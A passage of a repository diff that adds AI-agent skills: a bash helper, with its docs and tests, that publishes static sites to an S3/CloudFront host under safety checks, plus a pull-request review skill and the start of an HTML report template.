"PAPERCLIP_PAGE_BUCKET": { "type": "plain", "value": "paperclip-pages-prod" },
"PAPERCLIP_PAGE_BASE_URL": { "type": "plain", "value": "https://pages.paperclip.ing" },
"PAPERCLIP_PAGE_DEFAULT_PREFIX": { "type": "plain", "value": "" }
}
```
## Install And Attach
Create or update the company skill from this package:
```bash
pnpm paperclipai skills create \
--company-id <company-id> \
--name "Paperclip Page" \
--slug paperclip-page \
--description "Publish static pages to the Paperclip pages host" \
--body-file .agents/skills/paperclip-page/SKILL.md
```
Attach it to an agent:
```bash
pnpm paperclipai skills agent sync <agent-id-or-shortname> \
--company-id <company-id> \
--skill paperclip-page
```
Ensure the agent can read this directory or copy the package into the installed
company skill location with `scripts/publish.sh` preserved as executable.
## Credential Rotation
1. Create a second access key:
```bash
aws iam create-access-key \
--profile "$AWS_PROFILE" \
--user-name "$UPLOADER_USER" \
> /tmp/paperclip-page-uploader-key-rotation.json
chmod 600 /tmp/paperclip-page-uploader-key-rotation.json
```
2. Store new secret versions in Paperclip Secrets.
3. Update agent env bindings to the new versions or `latest`.
4. Run a dry-run and a small publish smoke.
5. Disable the old key:
```bash
aws iam update-access-key \
--profile "$AWS_PROFILE" \
--user-name "$UPLOADER_USER" \
--access-key-id <old-access-key-id> \
--status Inactive
```
6. Delete the old key after the next successful publish:
```bash
aws iam delete-access-key \
--profile "$AWS_PROFILE" \
--user-name "$UPLOADER_USER" \
--access-key-id <old-access-key-id>
```
## Troubleshooting
`AccessDenied` on upload:
- Confirm agent env contains the uploader key, not the admin key.
- Confirm the uploader policy allows `s3:ListBucket`, `s3:GetObject`, and
`s3:PutObject`.
- Confirm uploads target `<slug>/...` so the `arn:aws:s3:::<bucket>/*/*`
object ARN matches.
`Slug already exists`:
- Use a different slug.
- Or run `--update` from the original source directory that has
`.paperclip-page/state.json`.
Generated slug collides:
- The helper appends a short suffix for generated slugs when AWS reports a
collision. Explicit slugs fail instead of silently changing the URL.
URL 404s after upload:
- Check `curl -I https://<domain>/<slug>/`.
- Check CloudFront distribution deployment status.
- Check DNS CNAME target.
- Check the object exists at `s3://<bucket>/<slug>/index.html`.
Stale browser cache:
- The helper uses `Cache-Control: public,max-age=60`.
- Wait a minute or issue a CloudFront invalidation if the operator wants an
immediate refresh.
CloudFront returns 403:
- Confirm the bucket policy references the correct distribution ARN.
- Confirm OAC is attached to the S3 origin.
- Confirm the bucket is private and public access block is enabled.
## Public Content Security Notes
Anything published with this skill is public. The tool cannot reliably classify
generated files, so the publishing agent must inspect content before uploading.
Do not publish:
- API keys, OAuth tokens, cookies, or `.env` files
- internal customer data
- private company docs
- unpublished security reports
- raw transcripts that may contain secrets
Recovery after accidental overwrite uses S3 versioning. Because v1 uploader
credentials cannot delete objects, rollback should be performed by an operator
with admin credentials.
+90
View File
@@ -0,0 +1,90 @@
---
name: paperclip-page
description: >
Publish static HTML pages and asset folders to the Paperclip-approved S3 and
CloudFront website host. Use when asked to deploy, publish, host, or share a
persistent Paperclip page, wireframe viewer, prototype, report, or other static
site without using here.now.
---
# Paperclip Page
Use this skill to publish a static directory to the configured Paperclip pages
host, for example `https://pages.paperclip.ing/<slug>/`.
## Requirements
- Source directory contains `index.html` at its root.
- `aws` CLI v2, `curl`, and `jq` are available on PATH for live publishes.
- Environment variables are configured:
- `PAPERCLIP_PAGE_BUCKET`
- `PAPERCLIP_PAGE_BASE_URL`
- `AWS_REGION`
- AWS credentials via Paperclip Secrets or an approved AWS vault
- Optional environment variables:
- `PAPERCLIP_PAGE_DEFAULT_PREFIX`
- `PAPERCLIP_PAGE_AWS_PROFILE`
## Workflow
1. Inspect the source directory and confirm it is public static content only.
2. Run `scripts/publish.sh <dir> --dry-run` to validate local structure and see
the resolved URL/prefix.
3. Choose a slug:
- Use `--slug <slug>` when the user gave a stable URL path.
- Omit `--slug` to derive one from the source directory name.
4. Publish:
```bash
.agents/skills/paperclip-page/scripts/publish.sh ./site --slug my-page
```
5. Return the printed public URL and S3 prefix to the issue/user.
## Update Workflow
Updates are additive overwrites only. The helper never deletes remote objects.
```bash
.agents/skills/paperclip-page/scripts/publish.sh ./site --slug my-page --update
```
When the target prefix already exists, `--update` requires local ownership proof
from `./site/.paperclip-page/state.json` generated by an earlier publish from
that same source directory. Without that state, create a new slug instead of
overwriting another page.
## Safety Rules
- Publish public content only. Do not publish secrets, customer data, private
company material, credentials, or internal logs.
- Never print AWS secret values.
- Never change bucket policy, IAM, DNS, CloudFront, or ACM settings from this
skill. Setup belongs to an operator runbook, not the publish helper.
- Never upload outside the configured bucket and prefix.
- Never use `aws s3 sync --delete` or require `s3:DeleteObject` in v1.
- The helper forces `--no-follow-symlinks` and fails if any source symlink is
present.
- The helper rejects hidden files and dot-segment paths except its own
`.paperclip-page/state.json`.
- Slugs and prefix segments must use lowercase ASCII letters, digits, and
hyphens only.
- Keep site-wide root objects such as `404.html` operator-managed; publishes
always target `<slug>/...` or `<default-prefix>/<slug>/...`.
## Troubleshooting
- `Slug already exists`: choose a different slug or use `--update` from the
original source directory containing `.paperclip-page/state.json`.
- `Missing index.html`: build the static site first or point the helper at the
directory that contains the root HTML file.
- `Found symlink`: replace symlinks with real files before publishing.
- `AccessDenied`: confirm the uploader IAM policy allows `ListBucket`,
`GetObject`, and `PutObject` for the configured bucket/prefix, and that the
agent received the Paperclip Secrets.
- Public URL verification failed: check CloudFront deployment/DNS, object
existence, and that the distribution uses HTTPS with the private S3 REST
origin.
See `README.md` next to this skill for operator setup, AWS policy examples,
credential rotation, and install/attach commands.
+388
View File
@@ -0,0 +1,388 @@
#!/usr/bin/env bash
set -euo pipefail
usage() {
cat <<'EOF'
Usage:
publish.sh <dir> [--slug slug] [--update] [--dry-run]
Publishes a static directory with a root index.html to the configured Paperclip
pages bucket and prints the public URL and S3 prefix.
Required environment for live publish:
PAPERCLIP_PAGE_BUCKET, PAPERCLIP_PAGE_BASE_URL, AWS_REGION, AWS credentials
Optional environment:
PAPERCLIP_PAGE_DEFAULT_PREFIX, PAPERCLIP_PAGE_AWS_PROFILE
Options:
--slug SLUG Lowercase URL slug. Allowed: a-z, 0-9, hyphen.
--update Additively overwrite an owned existing prefix. Never deletes.
--dry-run Validate and print the planned target without AWS writes.
--help, -h Show this help.
EOF
}
die() {
printf 'paperclip-page: %s\n' "$*" >&2
exit 1
}
require_command() {
if ! command -v "$1" >/dev/null 2>&1; then
die "missing required command: $1"
fi
}
normalize_base_url() {
local value="$1"
value="${value%/}"
[[ "$value" == https://* ]] || die "PAPERCLIP_PAGE_BASE_URL must be an https URL"
[[ ! "$value" =~ [[:space:]] ]] || die "PAPERCLIP_PAGE_BASE_URL cannot contain whitespace"
printf '%s\n' "$value"
}
validate_segment() {
local value="$1"
local label="$2"
[[ -n "$value" ]] || die "$label cannot be empty"
[[ "${#value}" -le 64 ]] || die "$label is too long; max length is 64 characters"
[[ "$value" =~ ^[a-z0-9]([a-z0-9-]*[a-z0-9])?$ ]] || die "$label must use lowercase letters, digits, and hyphens only"
[[ "$value" != "." && "$value" != ".." ]] || die "$label cannot be a dot segment"
}
normalize_slug() {
local value="$1"
value="${value#/}"
value="${value%/}"
[[ "$value" != *"/"* ]] || die "slug must be one path segment, not a nested path"
validate_segment "$value" "slug"
case "$value" in
404|404-html|index|index-html|root|assets)
die "slug '$value' is reserved"
;;
esac
printf '%s\n' "$value"
}
derive_slug() {
local source_dir="$1"
local base
base="$(basename "$source_dir")"
base="$(printf '%s' "$base" | tr '[:upper:]' '[:lower:]' | sed -E 's/[^a-z0-9]+/-/g; s/^-+//; s/-+$//; s/-{2,}/-/g')"
if [[ -z "$base" ]]; then
base="paperclip-page"
fi
printf '%.48s\n' "$base" | sed -E 's/-+$//'
}
random_suffix() {
if command -v openssl >/dev/null 2>&1; then
openssl rand -hex 3
else
od -An -N3 -tx1 /dev/urandom | tr -d ' \n'
fi
}
normalize_default_prefix() {
local raw="${1:-}"
local segment
local normalized=""
raw="${raw#/}"
raw="${raw%/}"
[[ "$raw" != *"//"* ]] || die "PAPERCLIP_PAGE_DEFAULT_PREFIX cannot contain empty path segments"
if [[ -z "$raw" ]]; then
printf '\n'
return
fi
IFS='/' read -r -a segments <<<"$raw"
for segment in "${segments[@]}"; do
validate_segment "$segment" "prefix segment"
if [[ -z "$normalized" ]]; then
normalized="$segment"
else
normalized="$normalized/$segment"
fi
done
printf '%s\n' "$normalized"
}
join_prefix() {
local default_prefix="$1"
local slug="$2"
if [[ -n "$default_prefix" ]]; then
printf '%s/%s/\n' "$default_prefix" "$slug"
else
printf '%s/\n' "$slug"
fi
}
aws_base_args=()
aws_cli() {
aws "${aws_base_args[@]}" "$@"
}
object_exists() {
local bucket="$1"
local prefix="$2"
local key
key="$(aws_cli s3api list-objects-v2 \
--bucket "$bucket" \
--prefix "$prefix" \
--max-keys 1 \
--query 'Contents[0].Key' \
--output text)"
[[ "$key" != "None" && -n "$key" ]]
}
assert_safe_source_tree() {
local source_dir="$1"
local found
[[ ! -L "$source_dir" ]] || die "source directory must not be a symlink"
[[ -f "$source_dir/index.html" ]] || die "source directory must contain root index.html"
found="$(find "$source_dir" -type l -print -quit)"
[[ -z "$found" ]] || die "found symlink in source tree: $found"
found="$(
cd "$source_dir"
find . -mindepth 1 \
\( -path './.paperclip-page' -o -path './.paperclip-page/*' \) -prune -o \
\( -name '.*' -o -path '*/.*' \) -print -quit
)"
[[ -z "$found" ]] || die "hidden files and dot paths are not allowed in published content: $found"
}
read_state_value() {
local state_file="$1"
local expression="$2"
jq -r "$expression // empty" "$state_file"
}
assert_update_ownership() {
local source_dir="$1"
local bucket="$2"
local prefix="$3"
local state_file="$source_dir/.paperclip-page/state.json"
local state_bucket
local state_prefix
[[ -f "$state_file" ]] || die "update of an existing prefix requires ownership state at $state_file"
state_bucket="$(read_state_value "$state_file" '.bucket')"
state_prefix="$(read_state_value "$state_file" '.prefix')"
[[ "$state_bucket" == "$bucket" ]] || die "state bucket does not match target bucket"
[[ "$state_prefix" == "$prefix" ]] || die "state prefix does not match target prefix"
}
compute_source_hash() {
local source_dir="$1"
if ! command -v sha256sum >/dev/null 2>&1; then
printf 'unavailable\n'
return
fi
(
cd "$source_dir"
find . -type f ! -path './.paperclip-page/*' -print0 |
LC_ALL=C sort -z |
while IFS= read -r -d '' path; do
sha256sum "$path"
done
) | sha256sum | awk '{print $1}'
}
write_state() {
local source_dir="$1"
local bucket="$2"
local prefix="$3"
local slug="$4"
local url="$5"
local base_url="$6"
local source_hash="$7"
local state_dir="$source_dir/.paperclip-page"
local state_file="$state_dir/state.json"
local temp_file
mkdir -p "$state_dir"
temp_file="$(mktemp "$state_dir/state.json.tmp.XXXXXX")"
jq -n \
--arg bucket "$bucket" \
--arg prefix "$prefix" \
--arg slug "$slug" \
--arg url "$url" \
--arg baseUrl "$base_url" \
--arg publishedAt "$(date -u +'%Y-%m-%dT%H:%M:%SZ')" \
--arg sourceHash "$source_hash" \
'{
bucket: $bucket,
prefix: $prefix,
slug: $slug,
url: $url,
baseUrl: $baseUrl,
publishedAt: $publishedAt,
sourceHash: $sourceHash,
version: 1
}' >"$temp_file"
mv "$temp_file" "$state_file"
}
source_arg=""
slug_arg=""
update=0
dry_run=0
while [[ $# -gt 0 ]]; do
case "$1" in
--slug)
slug_arg="${2:-}"
shift 2
;;
--update)
update=1
shift
;;
--dry-run)
dry_run=1
shift
;;
--help|-h)
usage
exit 0
;;
--*)
die "unknown argument: $1"
;;
*)
if [[ -n "$source_arg" ]]; then
die "unexpected positional argument: $1"
fi
source_arg="$1"
shift
;;
esac
done
[[ -n "$source_arg" ]] || {
usage >&2
exit 1
}
require_command jq
require_command find
require_command sed
[[ -d "$source_arg" ]] || die "source path is not a directory: $source_arg"
source_dir="$(cd "$source_arg" && pwd -P)"
assert_safe_source_tree "$source_dir"
bucket="${PAPERCLIP_PAGE_BUCKET:-}"
base_url="${PAPERCLIP_PAGE_BASE_URL:-}"
region="${AWS_REGION:-}"
default_prefix="$(normalize_default_prefix "${PAPERCLIP_PAGE_DEFAULT_PREFIX:-}")"
[[ -n "$bucket" ]] || die "PAPERCLIP_PAGE_BUCKET is required"
[[ "$bucket" =~ ^[a-z0-9][a-z0-9.-]{1,61}[a-z0-9]$ ]] || die "PAPERCLIP_PAGE_BUCKET does not look like a valid S3 bucket name"
[[ -n "$base_url" ]] || die "PAPERCLIP_PAGE_BASE_URL is required"
base_url="$(normalize_base_url "$base_url")"
explicit_slug=0
if [[ -n "$slug_arg" ]]; then
explicit_slug=1
slug="$(normalize_slug "$slug_arg")"
else
slug="$(normalize_slug "$(derive_slug "$source_dir")")"
fi
if [[ "$dry_run" == "0" ]]; then
require_command aws
require_command curl
[[ -n "$region" ]] || die "AWS_REGION is required for live publish"
aws_base_args=(--region "$region")
if [[ -n "${PAPERCLIP_PAGE_AWS_PROFILE:-}" ]]; then
aws_base_args+=(--profile "$PAPERCLIP_PAGE_AWS_PROFILE")
fi
fi
prefix="$(join_prefix "$default_prefix" "$slug")"
target_exists=0
if [[ "$update" == "1" ]]; then
assert_update_ownership "$source_dir" "$bucket" "$prefix"
fi
if [[ "$dry_run" == "0" ]]; then
if object_exists "$bucket" "$prefix"; then
target_exists=1
fi
if [[ "$target_exists" == "1" && "$update" == "0" ]]; then
if [[ "$explicit_slug" == "1" ]]; then
die "slug already exists: $slug. Use --update from the owning source directory or choose a new slug."
fi
for _ in 1 2 3 4 5; do
candidate="${slug}-$(random_suffix)"
candidate="$(printf '%.64s' "$candidate" | sed -E 's/-+$//')"
validate_segment "$candidate" "generated slug"
candidate_prefix="$(join_prefix "$default_prefix" "$candidate")"
if ! object_exists "$bucket" "$candidate_prefix"; then
slug="$candidate"
prefix="$candidate_prefix"
target_exists=0
break
fi
done
[[ "$target_exists" == "0" ]] || die "could not find an unused generated slug after 5 attempts"
fi
fi
url="${base_url}/${prefix}"
mode="publish"
if [[ "$update" == "1" ]]; then
mode="update"
fi
if [[ "$dry_run" == "1" ]]; then
cat <<EOF
paperclip-page dry run
mode: $mode
source: $source_dir
bucket: $bucket
prefix: $prefix
url: $url
EOF
exit 0
fi
aws_cli s3 sync "$source_dir/" "s3://$bucket/$prefix" \
--no-follow-symlinks \
--exclude '.paperclip-page/*' \
--cache-control 'public,max-age=60' \
--only-show-errors
source_hash="$(compute_source_hash "$source_dir")"
write_state "$source_dir" "$bucket" "$prefix" "$slug" "$url" "$base_url" "$source_hash"
curl -fsSIL --max-time 20 "$url" >/dev/null
cat <<EOF
paperclip-page published
mode: $mode
url: $url
bucket: $bucket
prefix: $prefix
state: $source_dir/.paperclip-page/state.json
EOF
@@ -0,0 +1,179 @@
import assert from "node:assert/strict";
import { execFileSync } from "node:child_process";
import {
chmodSync,
existsSync,
mkdirSync,
mkdtempSync,
readFileSync,
rmSync,
statSync,
writeFileSync,
} from "node:fs";
import { tmpdir } from "node:os";
import { dirname, join } from "node:path";
import { fileURLToPath } from "node:url";
import { after, test } from "node:test";
const scriptPath = join(dirname(fileURLToPath(import.meta.url)), "publish.sh");
const tempDirs = new Set();
after(() => {
for (const dir of tempDirs) {
rmSync(dir, { force: true, recursive: true });
}
});
function createSite(name = "paperclip-page-test") {
const siteDir = mkdtempSync(join(tmpdir(), `${name}-`));
tempDirs.add(siteDir);
writeFileSync(join(siteDir, "index.html"), "<!doctype html><title>Paperclip</title>\n");
return siteDir;
}
function writeExecutable(path, body) {
writeFileSync(path, body, { mode: 0o755 });
chmodSync(path, 0o755);
}
function writeState(siteDir, state) {
mkdirSync(join(siteDir, ".paperclip-page"), { recursive: true });
writeFileSync(join(siteDir, ".paperclip-page", "state.json"), `${JSON.stringify(state)}\n`);
}
function runPublish(args, env = {}) {
try {
return {
output: execFileSync("bash", [scriptPath, ...args], {
encoding: "utf8",
env: {
...process.env,
PAPERCLIP_PAGE_BUCKET: "paperclip-pages-test",
PAPERCLIP_PAGE_BASE_URL: "https://pages.example.test/",
...env,
},
stdio: ["ignore", "pipe", "pipe"],
}),
status: 0,
};
} catch (error) {
return {
output: `${error.stdout ?? ""}${error.stderr ?? ""}`,
status: error.status ?? 1,
};
}
}
test("publish helper stays executable", () => {
assert.equal(statSync(scriptPath).mode & 0o111, 0o111);
});
test("dry run validates and prints the planned target without requiring AWS", () => {
const result = runPublish([
createSite(),
"--slug",
"demo-page",
"--dry-run",
]);
assert.equal(result.status, 0);
assert.match(result.output, /^paperclip-page dry run$/m);
assert.match(result.output, /^mode: publish$/m);
assert.match(result.output, /^bucket: paperclip-pages-test$/m);
assert.match(result.output, /^prefix: demo-page\/$/m);
assert.match(result.output, /^url: https:\/\/pages\.example\.test\/demo-page\/$/m);
});
test("dry run normalizes a safe default prefix", () => {
const result = runPublish(
[createSite(), "--slug", "demo-page", "--dry-run"],
{ PAPERCLIP_PAGE_DEFAULT_PREFIX: "/reports/launches/" },
);
assert.equal(result.status, 0);
assert.match(result.output, /^prefix: reports\/launches\/demo-page\/$/m);
assert.match(result.output, /^url: https:\/\/pages\.example\.test\/reports\/launches\/demo-page\/$/m);
});
test("dry run update requires matching local ownership state", () => {
const siteDir = createSite();
const missingState = runPublish([siteDir, "--slug", "demo-page", "--update", "--dry-run"]);
assert.notEqual(missingState.status, 0);
assert.match(missingState.output, /requires ownership state/);
writeState(siteDir, {
bucket: "paperclip-pages-test",
prefix: "demo-page/",
});
const result = runPublish([siteDir, "--slug", "demo-page", "--update", "--dry-run"]);
assert.equal(result.status, 0);
assert.match(result.output, /^mode: update$/m);
});
test("rejects nested slugs", () => {
const result = runPublish([createSite(), "--slug", "nested/path", "--dry-run"]);
assert.notEqual(result.status, 0);
assert.match(result.output, /slug must be one path segment/);
});
test("rejects hidden files in the source tree", () => {
const siteDir = createSite();
mkdirSync(join(siteDir, "assets"));
writeFileSync(join(siteDir, "assets", ".secret"), "do not publish\n");
const result = runPublish([siteDir, "--slug", "demo-page", "--dry-run"]);
assert.notEqual(result.status, 0);
assert.match(result.output, /hidden files and dot paths are not allowed/);
});
test("live publish writes state before URL verification", () => {
const siteDir = createSite();
const binDir = mkdtempSync(join(tmpdir(), "paperclip-page-bin-"));
tempDirs.add(binDir);
writeExecutable(
join(binDir, "aws"),
`#!/usr/bin/env bash
set -euo pipefail
while [[ "$1" == "--region" || "$1" == "--profile" ]]; do
shift 2
done
if [[ "$1" == "s3api" ]]; then
echo "None"
exit 0
fi
if [[ "$1" == "s3" && "$2" == "sync" ]]; then
exit 0
fi
echo "unexpected aws call: $*" >&2
exit 1
`,
);
writeExecutable(
join(binDir, "curl"),
`#!/usr/bin/env bash
set -euo pipefail
echo "simulated CloudFront propagation miss" >&2
exit 22
`,
);
const result = runPublish([siteDir, "--slug", "demo-page"], {
AWS_REGION: "us-east-1",
PATH: `${binDir}:${process.env.PATH}`,
});
assert.notEqual(result.status, 0);
assert.match(result.output, /simulated CloudFront propagation miss/);
assert.equal(existsSync(join(siteDir, ".paperclip-page", "state.json")), true);
const state = JSON.parse(readFileSync(join(siteDir, ".paperclip-page", "state.json"), "utf8"));
assert.equal(state.bucket, "paperclip-pages-test");
assert.equal(state.prefix, "demo-page/");
assert.equal(state.url, "https://pages.example.test/demo-page/");
});
+202
View File
@@ -0,0 +1,202 @@
---
name: pr-report
description: >
Review a pull request or contribution deeply, explain it tutorial-style for a
maintainer, and produce a polished report artifact such as HTML or Markdown.
Use when asked to analyze a PR, explain a contributor's design decisions,
compare it with similar systems, or prepare a merge recommendation.
---
# PR Report Skill
Produce a maintainer-grade review of a PR, branch, or large contribution.
Default posture:
- understand the change before judging it
- explain the system as built, not just the diff
- separate architectural problems from product-scope objections
- make a concrete recommendation, not a vague impression
## When to Use
Use this skill when the user asks for things like:
- "review this PR deeply"
- "explain this contribution to me"
- "make me a report or webpage for this PR"
- "compare this design to similar systems"
- "should I merge this?"
## Outputs
Common outputs:
- standalone HTML report in `tmp/reports/...`
- Markdown report in `report/` or another requested folder
- short maintainer summary in chat
If the user asks for a webpage, build a polished standalone HTML artifact with
clear sections and readable visual hierarchy.
Resources bundled with this skill:
- `references/style-guide.md` for visual direction and report presentation rules
- `assets/html-report-starter.html` for a reusable standalone HTML/CSS starter
## Workflow
### 1. Acquire and frame the target
Work from local code when possible, not just the GitHub PR page.
Gather:
- target branch or worktree
- diff size and changed subsystems
- relevant repo docs, specs, and invariants
- contributor intent if it is documented in PR text or design docs
Start by answering: what is this change *trying* to become?
### 2. Build a mental model of the system
Do not stop at file-by-file notes. Reconstruct the design:
- what new runtime or contract exists
- which layers changed: db, shared types, server, UI, CLI, docs
- lifecycle: install, startup, execution, UI, failure, disablement
- trust boundary: what code runs where, under what authority
For large contributions, include a tutorial-style section that teaches the
system from first principles.
### 3. Review like a maintainer
Findings come first. Order by severity.
Prioritize:
- behavioral regressions
- trust or security gaps
- misleading abstractions
- lifecycle and operational risks
- coupling that will be hard to unwind
- missing tests or unverifiable claims
Always cite concrete file references when possible.
### 4. Distinguish the objection type
Be explicit about whether a concern is:
- product direction
- architecture
- implementation quality
- rollout strategy
- documentation honesty
Do not hide an architectural objection inside a scope objection.
### 5. Compare to external precedents when needed
If the contribution introduces a framework or platform concept, compare it to
similar open-source systems.
When comparing:
- prefer official docs or source
- focus on extension boundaries, context passing, trust model, and UI ownership
- extract lessons, not just similarities
Good comparison questions:
- Who owns lifecycle?
- Who owns UI composition?
- Is context explicit or ambient?
- Are plugins trusted code or sandboxed code?
- Are extension points named and typed?
### 6. Make the recommendation actionable
Do not stop at "merge" or "do not merge."
Choose one:
- merge as-is
- merge after specific redesign
- salvage specific pieces
- keep as design research
If rejecting or narrowing, say what should be kept.
Useful recommendation buckets:
- keep the protocol/type model
- redesign the UI boundary
- narrow the initial surface area
- defer third-party execution
- ship a host-owned extension-point model first
### 7. Build the artifact
Suggested report structure:
1. Executive summary
2. What the PR actually adds
3. Tutorial: how the system works
4. Strengths
5. Main findings
6. Comparisons
7. Recommendation
For HTML reports:
- use intentional typography and color
- make navigation easy for long reports
- favor strong section headings and small reference labels
- avoid generic dashboard styling
Before building from scratch, read `references/style-guide.md`.
If a fast polished starter is helpful, begin from `assets/html-report-starter.html`
and replace the placeholder content with the actual report.
### 8. Verify before handoff
Check:
- artifact path exists
- findings still match the actual code
- any requested forbidden strings are absent from generated output
- if tests were not run, say so explicitly
## Review Heuristics
### Plugin and platform work
Watch closely for:
- docs claiming sandboxing while runtime executes trusted host processes
- module-global state used to smuggle React context
- hidden dependence on render order
- plugins reaching into host internals instead of using explicit APIs
- "capabilities" that are really policy labels on top of fully trusted code
### Good signs
- typed contracts shared across layers
- explicit extension points
- host-owned lifecycle
- honest trust model
- narrow first rollout with room to grow
## Final Response
In chat, summarize:
- where the report is
- your overall call
- the top one or two reasons
- whether verification or tests were skipped
Keep the chat summary shorter than the report itself.
@@ -0,0 +1,426 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>PR Report Starter</title>
<link rel="preconnect" href="https://fonts.googleapis.com" />
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
<link
href="https://fonts.googleapis.com/css2?family=IBM+Plex+Sans:wght@400;500;600;700&family=Newsreader:opsz,wght@6..72,500;6..72,700&display=swap"
rel="stylesheet"
/>
<style>
:root {
--bg: #f4efe5;
--paper: rgba(255, 251, 244, 0.88);
--paper-strong: #fffaf1;
--ink: #1f1b17;
--muted: #6a6257;
--line: rgba(31, 27, 23, 0.12);
--accent: #9c4729;
--accent-soft: rgba(156, 71, 41, 0.1);
--good: #2f6a42;
--warn: #946200;
--bad: #8c2f25;
--shadow: 0 22px 60px rgba(52, 37, 19, 0.1);
--radius: 20px;
}
* {
box-sizing: border-box;
}
html {
scroll-behavior: smooth;
}
body {
margin: 0;
color: var(--ink);
font-family: "IBM Plex Sans", sans-serif;
background:
radial-gradient(circle at top left, rgba(156, 71, 41, 0.12), transparent 34rem),
radial-gradient(circle at top right, rgba(47, 106, 66, 0.08), transparent 28rem),
linear-gradient(180deg, #efe6d6 0%, var(--bg) 48%, #ece5d8 100%);
}
.shell {
width: min(1360px, calc(100vw - 32px));
margin: 24px auto;
display: grid;
grid-template-columns: 280px minmax(0, 1fr);
gap: 24px;
}
.panel {
background: var(--paper);
backdrop-filter: blur(12px);
border: 1px solid var(--line);
border-radius: var(--radius);
box-shadow: var(--shadow);
}
.nav {
position: sticky;
top: 20px;
align-self: start;
padding: 22px;
}
.eyebrow {
letter-spacing: 0.12em;
text-transform: uppercase;
font-size: 11px;
font-weight: 700;
color: var(--accent);
}
.nav h1,
.hero h1,
h2,
h3 {
font-family: "Newsreader", serif;
line-height: 0.96;
margin: 0;
}
.nav h1 {
font-size: 2rem;
margin-top: 10px;
}
.nav p {
color: var(--muted);
font-size: 0.95rem;
line-height: 1.5;
}
.nav ul {
list-style: none;
padding: 0;
margin: 18px 0 0;
display: grid;
gap: 10px;
}
.nav a {
display: block;
color: var(--ink);
text-decoration: none;
padding: 10px 12px;
border-radius: 12px;
border: 1px solid transparent;
background: rgba(255, 255, 255, 0.35);
}
.nav a:hover {
border-color: var(--line);
background: rgba(255, 255, 255, 0.75);
}
.meta-block {
margin-top: 20px;
padding-top: 18px;
border-top: 1px solid var(--line);
color: var(--muted);
font-size: 0.86rem;
line-height: 1.5;
}
main {
display: grid;
gap: 24px;
}
section {
padding: 26px 28px 28px;
}
.hero {
padding: 28px;
overflow: hidden;
position: relative;
}
.hero::after {
content: "";
position: absolute;
inset: auto -3rem -6rem auto;
width: 18rem;
height: 18rem;
border-radius: 50%;
background: radial-gradient(circle, rgba(156, 71, 41, 0.14), transparent 68%);
pointer-events: none;
}
.hero h1 {
font-size: clamp(2.6rem, 5vw, 4.6rem);
max-width: 12ch;
margin-top: 12px;
}
.lede {
margin-top: 16px;
max-width: 70ch;
font-size: 1.05rem;
line-height: 1.65;
color: #2b2723;
}
.hero-grid,
.card-grid,
.two-col {
display: grid;
gap: 14px;
}
.hero-grid {
margin-top: 24px;
grid-template-columns: repeat(4, minmax(0, 1fr));
}
.card-grid {
grid-template-columns: repeat(2, minmax(0, 1fr));
}
.two-col {
grid-template-columns: repeat(2, minmax(0, 1fr));
}
.metric,
.card,
.finding {
padding: 18px;
background: rgba(255, 255, 255, 0.68);
border: 1px solid var(--line);
border-radius: 18px;
}
.metric .label {
color: var(--muted);
font-size: 0.82rem;
text-transform: uppercase;
letter-spacing: 0.08em;
}
.metric .value {
margin-top: 8px;
font-size: 1.45rem;
font-weight: 700;
}
h2 {
font-size: 2rem;
margin-bottom: 16px;
}
h3 {
font-size: 1.3rem;
margin-bottom: 10px;
}
p {
margin: 0 0 14px;
line-height: 1.65;
}
ul,
ol {
margin: 0;
padding-left: 20px;
line-height: 1.65;
}
li + li {
margin-top: 8px;
}
.badge-row {
display: flex;
flex-wrap: wrap;
gap: 8px;
margin: 18px 0 8px;
}
.badge {
display: inline-flex;
align-items: center;
gap: 8px;
padding: 8px 10px;
border-radius: 999px;
font-size: 0.82rem;
font-weight: 700;
border: 1px solid var(--line);
background: rgba(255, 255, 255, 0.68);
}
.badge.good {
color: var(--good);
}
.badge.warn {
color: var(--warn);
}
.badge.bad {
color: var(--bad);
}
.quote {
margin-top: 18px;
padding: 18px;
border-left: 4px solid var(--accent);
border-radius: 14px;
background: var(--accent-soft);
}
.severity {
display: inline-flex;
margin-bottom: 12px;
padding: 6px 10px;
border-radius: 999px;
font-size: 0.78rem;
font-weight: 700;
text-transform: uppercase;
letter-spacing: 0.08em;
}
.severity.high {
background: rgba(140, 47, 37, 0.12);
color: var(--bad);
}
.severity.medium {
background: rgba(148, 98, 0, 0.12);
color: var(--warn);
}
.severity.low {
background: rgba(47, 106, 66, 0.12);
color: var(--good);
}
.ref {
color: var(--muted);
font-size: 0.82rem;
line-height: 1.5;
}
@media (max-width: 980px) {
.shell {
grid-template-columns: 1fr;
}
.nav {
position: static;
}
.hero-grid,
.card-grid,
.two-col {
grid-template-columns: 1fr;
}
.hero h1 {
max-width: 100%;
}
}
</style>
</head>
<body>
<div class="shell">
<aside class="panel nav">
<div class="eyebrow">Maintainer Report</div>
<h1>Report Title</h1>
<p>Replace this with a concise description of what the report covers.</p>
<ul>
<li><a href="#summary">Summary</a></li>
<li><a href="#tutorial">Tutorial</a></li>
<li><a href="#findings">Findings</a></li>
<li><a href="#recommendation">Recommendation</a></li>
</ul>
<div class="meta-block">
Replace with project metadata, review date, or scope notes.
</div>
</aside>
<main>
<section class="panel hero" id="summary">
<div class="eyebrow">Executive Summary</div>
<h1>Use the hero for the clearest one-line judgment.</h1>
<p class="lede">
Replace this with the short explanation of what the contribution does, why it matters,
and what the core maintainer question is.
</p>
<div class="badge-row">
<span class="badge good">Strength</span>
<span class="badge warn">Tradeoff</span>
<span class="badge bad">Risk</span>
</div>
<div class="hero-grid">
<div class="metric">
<div class="label">Overall Call</div>
<div class="value">Placeholder</div>
</div>
<div class="metric">
<div class="label">Main Concern</div>
<div class="value">Placeholder</div>
</div>
<div class="metric">
<div class="label">Best Part</div>
<div class="value">Placeholder</div>
</div>
<div class="metric">
<div class="label">Weakest Part</div>
<div class="value">Placeholder</div>
</div>
</div>
<div class="quote">
Use this block for the thesis, a sharp takeaway, or a key cited point.
</div>
</section>
<section class="panel" id="tutorial">
<h2>Tutorial Section</h2>
<div class="two-col">
<div class="card">
<h3>Concept Card</h3>
<p>Use cards for mental models, subsystems, or comparison slices.</p>
<div class="ref">path/to/file.ts:10</div>
</div>
<div class="card">
<h3>Second Card</h3>
<p>Keep cards fairly dense. This template is about style, not fixed structure.</p>
<div class="ref">path/to/file.ts:20</div>
</div>
</div>
</section>
<section class="panel" id="findings">
<h2>Findings</h2>
<article class="finding">
<div class="severity high">High</div>
